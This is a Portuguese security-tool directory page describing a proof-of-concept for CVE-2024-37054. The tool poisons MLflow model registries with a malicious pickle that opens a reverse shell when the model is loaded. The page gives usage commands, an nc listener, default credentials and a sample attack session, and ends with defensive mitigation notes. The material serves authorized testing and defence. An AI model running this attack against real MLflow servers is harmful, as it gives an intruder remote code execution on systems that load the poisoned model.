Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-37054 — Proof-of-concept que envenena modelos registrados no MLflow através da API REST, incorporando um pickle malicioso para acionar RCE quando o modelo é carregado. | Kitploit
Ferramentas/GitHubGitHub/bardlaudian/cve-2024-37054
Ferramentas DefensivasAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado de MáquinaRed TeamingDesenvolvimento de PayloadsSegurança de IA
GitHubbardlaudian/cve-2024-37054

CVE-2024-37054

Proof-of-concept que envenena modelos registrados no MLflow através da API REST, incorporando um pickle malicioso para acionar RCE quando o modelo é carregado.

1há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
Compartilhar

mlflow-pickle-rce

Prova de conceito genérica para RCE por desserialização de pickle contra registros de modelos do MLflow (estilo CVE-2024-37054). Comunica-se apenas com a API REST do MLflow — sem suposições sobre qualquer aplicação cliente específica à sua frente.

⚠️ Apenas para testes de segurança autorizados. Execute isto somente contra sistemas que você possui ou está explicitamente autorizado a testar (ambientes de CTF/laboratório, engajamentos com escopo assinado, etc.). O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições.

Vulnerabilidade

O flavor pyfunc do MLflow carrega um modelo registrado fazendo unpickling de um artefato model.pkl sempre que mlflow.pyfunc.load_model() é chamado — seja isso acionado diretamente pela UI/API do MLflow, ou indiretamente por alguma aplicação cliente executando inferência contra um modelo registrado.

O módulo pickle do Python pode executar código arbitrário durante a desserialização através do método __reduce__ de um objeto. Se um atacante tiver acesso suficiente à API do MLflow para:

  1. criar uma execução (run) de experimento,
  • enviar artefatos para essa execução, e
  • registrar uma versão de modelo apontando para esses artefatos,
  • ...ele pode contrabandear um pickle malicioso como model.pkl. Na próxima vez que qualquer coisa carregar essa versão do modelo, o código do atacante será executado no contexto do processo que faz o carregamento (o próprio servidor MLflow, ou uma aplicação cliente que incorpora o MLflow).

    Esta é a mesma primitiva subjacente por trás de várias CVEs do MLflow, incluindo CVE-2023-6015, CVE-2023-6018 e CVE-2024-37054. É particularmente perigosa porque instâncias do MLflow são frequentemente implantadas com nenhuma autenticação, ou com credenciais padrão bem conhecidas (admin:password).

    O que este script faz

    Puramente orientado por API, na seguinte ordem:

    1. Verifica o acesso à API (autenticação básica HTTP).
    2. Cria um modelo registrado (ou reutiliza um ao qual você já tem acesso via --model-name).
    3. Cria uma execução sob um determinado experimento.
    4. Constrói e envia:
      • model.pkl — um pickle cujo __reduce__ chama os.system() para gerar um reverse shell.
      • MLmodel — o manifesto declarando um flavor python_function / sklearn respaldado por esse pickle.
    5. Registra uma nova versão de modelo apontando para esses artefatos.
    6. Opcionalmente, transiciona essa versão para um determinado estágio (padrão: Production), já que muitas aplicações cliente só carregam a versão de um modelo no estágio Production.

    O que este script NÃO faz

    Ele não descobre nem aciona o carregamento real do modelo — essa parte é diferente para cada implantação:

    • Às vezes a própria UI/API do MLflow carrega o modelo diretamente.
    • Às vezes uma aplicação cliente separada chama mlflow.pyfunc.load_model() por trás de algum endpoint (uma rota /predict, um job em lote agendado, etc).

    Você precisa:

    • Obter o --model-name alvo por conta própria — da UI do MLflow, da API do MLflow (/api/2.0/mlflow/registered-models/search), ou do que uma aplicação cliente retornar quando ela registra um modelo em seu nome.
    • Acionar o carregamento por conta própria, da forma como o alvo o faz.

    Requisitos

    root@kitploit:~
    pip install requests --break-system-packages
    

    Python 3.8+. Nenhuma outra dependência.

    Uso

    root@kitploit:~
    python3 mlflow_pickle_rce.py \
        --mlflow http://mlflow.target.tld \
        --model-name my-target-model \
        --lhost 10.10.14.1 --lport 4444
    

    Inicie um listener antes ou depois de executar:

    root@kitploit:~
    nc -lvnp 4444
    

    Em seguida, acione o carregamento da forma como a aplicação alvo o faz (seu próprio endpoint de inferência, um job em lote, carregar o modelo manualmente pela UI do MLflow, etc).

    Todas as opções

    FlagPadrãoDescrição
    --mlflow(obrigatório)URL base do MLflow
    --model-namealeatórioNome do modelo registrado a envenenar; criado se não existir
    --lhost(obrigatório)IP do seu listener
    --lport4444Porta do seu listener
    --usernameadminNome de usuário da autenticação básica do MLflow
    --passwordpasswordSenha da autenticação básica do MLflow
    --experiment-id0ID do experimento sob o qual criar a execução
    --stageProductionEstágio para o qual promover a versão maliciosa, ou none para pular a transição

    Sessão de exemplo

    root@kitploit:~
    $ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
        --model-name my-target-model --lhost 10.10.14.1 --lport 4444
    [*] Verifying MLflow access at http://mlflow.target.tld ...
    [+] MLflow API reachable (200)
    [*] Ensuring registered model 'my-target-model' exists ...
    [+] Model 'my-target-model' already exists, reusing it
    [*] Creating run under experiment 0 ...
    [+] Run ID: 3f9b1c2a...
    [*] Uploading MLmodel ...
    [+] MLmodel upload: 200
    [*] Uploading model.pkl ...
    [+] model.pkl upload: 200
    [*] Registering malicious model version for 'my-target-model' ...
    [+] Model version: 200 - {...}
    [*] Transitioning version 2 to stage 'Production' ...
    [+] Stage transition: 200
    
    [+] Malicious model version is registered.
    [+] Model name: my-target-model
    [+] Listener: nc -lvnp 4444
    [+] Now trigger whatever loads this model version in the target app
        (e.g. its /predict endpoint, or wait for a scheduled job that
         calls mlflow.pyfunc.load_model() on it).
    

    Detecção e mitigação (notas defensivas)

    • Nunca exponha o servidor de tracking/modelos do MLflow sem autenticação, e nunca deixe credenciais padrão (admin:password) em vigor.
    • Restrinja quem pode registrar versões de modelo. Registrar uma versão de modelo é equivalente a execução arbitrária de código em qualquer coisa que posteriormente a carregue — trate essa permissão como você trataria acesso de implantação.
    • Não faça unpickle de artefatos não confiáveis. Quando possível, use flavors/formatos de serialização do MLflow que não dependam de pickle (por exemplo, ONNX, ou flavors com serialização mais segura), ou valide/coloque em sandbox o carregamento de modelos.
    • Monitore chamadas inesperadas a registered-models/create, model-versions/create e transition-stage nos logs de auditoria/acesso do MLflow, especialmente de contas que não deveriam estar publicando modelos em Production.
    • Segmente na rede o processo que carrega modelos (o servidor MLflow e/ou qualquer aplicação cliente que chame load_model()) para que uma primitiva de execução de código ali não tenha um caminho direto para sistemas internos sensíveis.

    Referências

    • CVE-2024-37054 / CVE-2023-6015 / CVE-2023-6018 — problemas de desserialização de pickle do MLflow (pesquise no NVD/MITRE por avisos atuais e faixas de versões afetadas).
    • MLflow REST API docs

    Licença

    MIT — veja LICENSE.

    Baixar ferramenta